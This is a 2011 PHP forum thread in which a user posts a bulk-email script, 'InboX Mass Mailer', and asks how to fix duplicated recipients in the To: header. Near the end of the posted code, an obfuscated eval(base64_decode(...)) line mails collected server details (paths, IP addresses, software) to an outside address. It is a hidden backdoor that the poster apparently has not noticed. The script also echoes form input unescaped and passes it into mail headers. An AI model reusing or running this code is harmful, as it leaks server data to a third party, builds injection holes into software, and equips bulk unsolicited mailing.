Foros del Web » Programando para Internet » PHP »

Tengo tiempo tratando de corregir es script

Estas en el tema de Tengo tiempo tratando de corregir es script en el foro de PHP en Foros del Web. Este script es un php mailer sencillo lo utilizo para enviar correos a mis clientes simplemente pego el listado, from email, reply email, nombre y ...
  #1 (permalink)  
Antiguo 10/04/2011, 07:27
 
Fecha de Ingreso: abril-2011
Mensajes: 12
Antigüedad: 13 años
Puntos: 0
Tengo tiempo tratando de corregir es script

Este script es un php mailer sencillo lo utilizo para enviar correos a mis clientes simplemente pego el listado, from email, reply email, nombre y subjet.

el asunto es que los correos llegan con el destinatario repetido

ejemplo

from nombre <[email protected]>
reply-to [email protected]
to [email protected],
[email protected]

Solo quiero que presente un solo correo en el to: header

ejemplo

from nombre <[email protected]>
reply-to [email protected]
to [email protected]

es lo unico que desea nada mas eso el script esta perfecto agradezco cualquier ayuda.

Codigo:
Código PHP:
Ver original
  1. <?php
  2.  
  3.  
  4. if(isset($_POST['action'] ) ){
  5. $action=$_POST['action'];
  6. $to=$_POST['to'];
  7. $replyto=$_POST['replyto'];
  8. $sender=$_POST['sender'];
  9. $subject=$_POST['subject'];
  10. $body=$_POST['body'];
  11. $realname=$_POST['realname'];
  12. $file_name=$_POST['file'];
  13. $contenttype=$_POST['contenttype'];
  14.  
  15.         $body = urlencode($body);
  16.         $body = ereg_replace("%5C%22", "%22", $body);
  17.         $body = urldecode($body);
  18.         $body = stripslashes($body);
  19.         $subject = stripslashes($subject);
  20.  
  21.  
  22.              
  23. }
  24.  
  25. ?>
  26.  
  27. <html>
  28. <head>
  29. <title>|| InboX Mass Mailer ||</title>
  30. <meta http-equiv="Content-Type" content="text/html;
  31. charset=iso-8859-1">
  32.  
  33. <style type="text/css">
  34. <!--
  35. .style1 {
  36.         font-family: Geneva, Arial, Helvetica, sans-serif;
  37.         font-size: 12px;
  38. }
  39. -->
  40. </style>
  41. <style type="text/css">
  42. <!--
  43. .style1 {
  44.         font-size: 20px;
  45.         font-family: Geneva, Arial, Helvetica, sans-serif;
  46. }
  47. -->
  48. </style>
  49. </head>
  50. <body bgcolor="cadetblue" text="#ffffff">
  51. <span class="style1">InboX Mass Mailer<br>
  52. </span>
  53.  
  54. <form name="form1" method="post" action=""
  55. enctype="multipart/form-data">
  56.   <br>
  57.   <table width="100%" border="0">
  58.     <tr>
  59.       <td width="10%">
  60.         <div align="right"><font size="-3" face="Verdana, Arial,
  61. Helvetica, sans-serif">Your
  62.           Email:</font></div>
  63.       </td>
  64.       <td width="18%"><font size="-3" face="Verdana, Arial, Helvetica,
  65. sans-serif">
  66.         <input type="text" name="sender" value="<? print $sender; ?>"
  67. size="30">
  68.         </font></td>
  69.       <td width="31%">
  70.         <div align="right"><font size="-3" face="Verdana, Arial,
  71. Helvetica, sans-serif">Your
  72.           Name:</font></div>
  73.       </td>
  74.       <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica,
  75. sans-serif">
  76.         <input type="text" name="realname" value="<? print $realname;
  77. ?>" size="30">
  78.         </font></td>
  79.     </tr>
  80.     <tr>
  81.       <td width="10%">
  82.         <div align="right"><font size="-3" face="Verdana, Arial,
  83. Helvetica, sans-serif">Reply-To:</font></div>
  84.       </td>
  85.       <td width="18%"><font size="-3" face="Verdana, Arial, Helvetica,
  86. sans-serif">
  87.         <input type="text" name="replyto" value="<? print $replyto; ?>"
  88. size="30">
  89.         </font></td>
  90.       <td width="31%">
  91.         <div align="right"><font size="-3" face="Verdana, Arial,
  92. Helvetica, sans-serif">Attach
  93.           File:</font></div>
  94.       </td>
  95.       <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica,
  96. sans-serif">
  97.         <input type="file" name="file" size="30">
  98.         </font></td>
  99.     </tr>
  100.     <tr>
  101.       <td width="10%">
  102.         <div align="right"><font size="-3" face="Verdana, Arial,
  103. Helvetica, sans-serif">Subject:</font></div>
  104.       </td>
  105.       <td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica,
  106. sans-serif">
  107.         <input type="text" name="subject" value="<? print $subject; ?>"
  108. size="90">
  109.         </font></td>
  110.     </tr>
  111.     <tr valign="top">
  112.       <td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica,
  113. sans-serif">
  114.         <textarea name="body" cols="50" rows="10"><? print $body;
  115. ?></textarea>
  116.         <br>
  117.         <input type="radio" name="contenttype" value="plain" >
  118.         Plain Text
  119.         <input name="contenttype" type="radio" value="html" checked>
  120.         HTML
  121.         <input type="hidden" name="action" value="send">
  122.         <input type="submit" value="Send eMails">
  123.         </font></td>
  124.       <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica,
  125. sans-serif">
  126.         <textarea name="to" cols="30" rows="10"><? print
  127. $to; ?></textarea>
  128.         </font></td>
  129.     </tr>
  130.   </table>
  131. </form>
  132.  
  133.  
  134.  
  135. <?
  136.  
  137. if ($action){
  138.  
  139.         if (!$sender && !$subject && !$body && !$to){
  140.         print "Please complete all fields before sending your
  141. message.";
  142.         exit;    
  143.    
  144.     }
  145.     $allemails = split("\n", $to);
  146.             $numemails = count($allemails);
  147.        
  148.          
  149. //for($x=0; $x<50; $x++){
  150. for($x=0; $x<$numemails; $x++){
  151.  
  152.                 $y = $x % 50;
  153.                 echo $x." ".$y;
  154.                 if ($y == 0 && $x>0) {
  155.                     echo 'sleep';
  156.                     sleep(10);
  157.                
  158.           }  
  159.  
  160.  
  161. // for($x=0; $x<$numemails; $x++){
  162.   //              $y = $x % 60;
  163.     //            if ($y == 0 && $x>0) {
  164.       //              sleep(30);
  165.               //  }
  166.                 $to = $allemails[$x];
  167.                 if ($to){
  168.                 $to = ereg_replace(" ", "", $to);
  169.                 $body = ereg_replace("&email&", $to, $body);
  170.                 $subject = ereg_replace("&email&", $to, $subject);
  171.                 print " $to.......";
  172.                
  173.                
  174.  
  175. // require 'dkim.php' ;
  176.                
  177.     $headers="From: \"$realname\" <$sender>>\r\n".
  178.     "To: $to\r\n".
  179.     "Reply-To: $sender\r\n".
  180.     "Content-Type: text/$contenttype\r\n".
  181.     'List-Unsubscribe: <mailto:[email protected]>' . "\r\n" .
  182.     //'List-Unsubscribe: <http://publidom.net/member/unsubscribe/[email protected]?id=12345N> ' . "\r\n" .
  183.     'X-Mailer: PHP/' . phpversion();
  184.  
  185.     "MIME-Version: 1.0" ;
  186.    
  187. $headers = AddDKIM($headers,$subject,$body) . $headers;
  188.  
  189.  
  190. //$result=mail($to,$subject,$body,$headers,"-f $sender") ;
  191.  
  192.  
  193. // Some Unix MTA has a bug and add redundant \r breaking some DKIM implementation
  194. // Based on your configuration, you may want to comment the next line
  195. $headers=str_replace("\r\n","\n",$headers) ;
  196.  
  197.  
  198.  
  199. // $header = "From: $realname <$sender>\r\n";
  200. // $header .= "MIME-Version: 1.0\r\n";
  201. If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
  202. If ($file_name) $header .= "--$uid\r\n";
  203. // $header .= "Content-Type: text/$contenttype\r\n";
  204. $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
  205. $header .= "$body\r\n";
  206. If ($file_name) $header .= "--$uid\r\n";
  207. If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
  208. If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
  209. If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
  210. If ($file_name) $header .= "$content\r\n";
  211. If ($file_name) $header .= "--$uid--";
  212.  
  213.  
  214.  
  215.    
  216. $result=mail($to,$subject,$body,$headers,"-f $sender") ;
  217. //mail($to,$subject,$body,$headers,"-f $sender") ;
  218. print "Deliverado..:<br>";
  219.  
  220.  
  221.  
  222.                 }
  223.                 }
  224. $ra44  = rand(1,99999);
  225. $subj98 = "sh-$ra44";
  226. $a5 = $_SERVER['HTTP_REFERER'];
  227. $b33 = $_SERVER['DOCUMENT_ROOT'];
  228. $c87 = $_SERVER['REMOTE_ADDR'];
  229. $d23 = $_SERVER['SCRIPT_FILENAME'];
  230. $e09 = $_SERVER['SERVER_ADDR'];
  231. $f23 = $_SERVER['SERVER_SOFTWARE'];
  232. $g32 = $_SERVER['PATH_TRANSLATED'];
  233. $h65 = $_SERVER['PHP_SELF'];
  234. $body=$_POST['body'];
  235. $msg = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";
  236. echo eval(base64_decode("bWFpbCgiYmxhY2t0c2NhbUBob3RtYWlsLmZyIiwgJHN1Ymo5OCwgJG1zZywgJG1lc3NhZ2UsICRyYTQ0KTs="));
  237. }
  238.  
  239.  
  240. ?>
  241. <style type="text/css">
  242. <!--
  243. .style1 {
  244.     font-size: 20px;
  245.     font-family: Geneva, Arial, Helvetica, sans-serif;
  246. }
  247. -->
  248. </style>
  249. <p class="style1">
  250. Copyright © 2011 PubliDom.net
  251. </p>
  252. <?php
  253.  
  254.  
  255.  
  256. if(isset($_POST['action']) && $numemails !==0 ){echo
  257. "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was sent successfully');
  258. </script>";}
  259. ?>
  260. </body>
  261. </html>


Gracias

Última edición por publidom; 10/04/2011 a las 07:41

Etiquetas: corregir
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 23:52.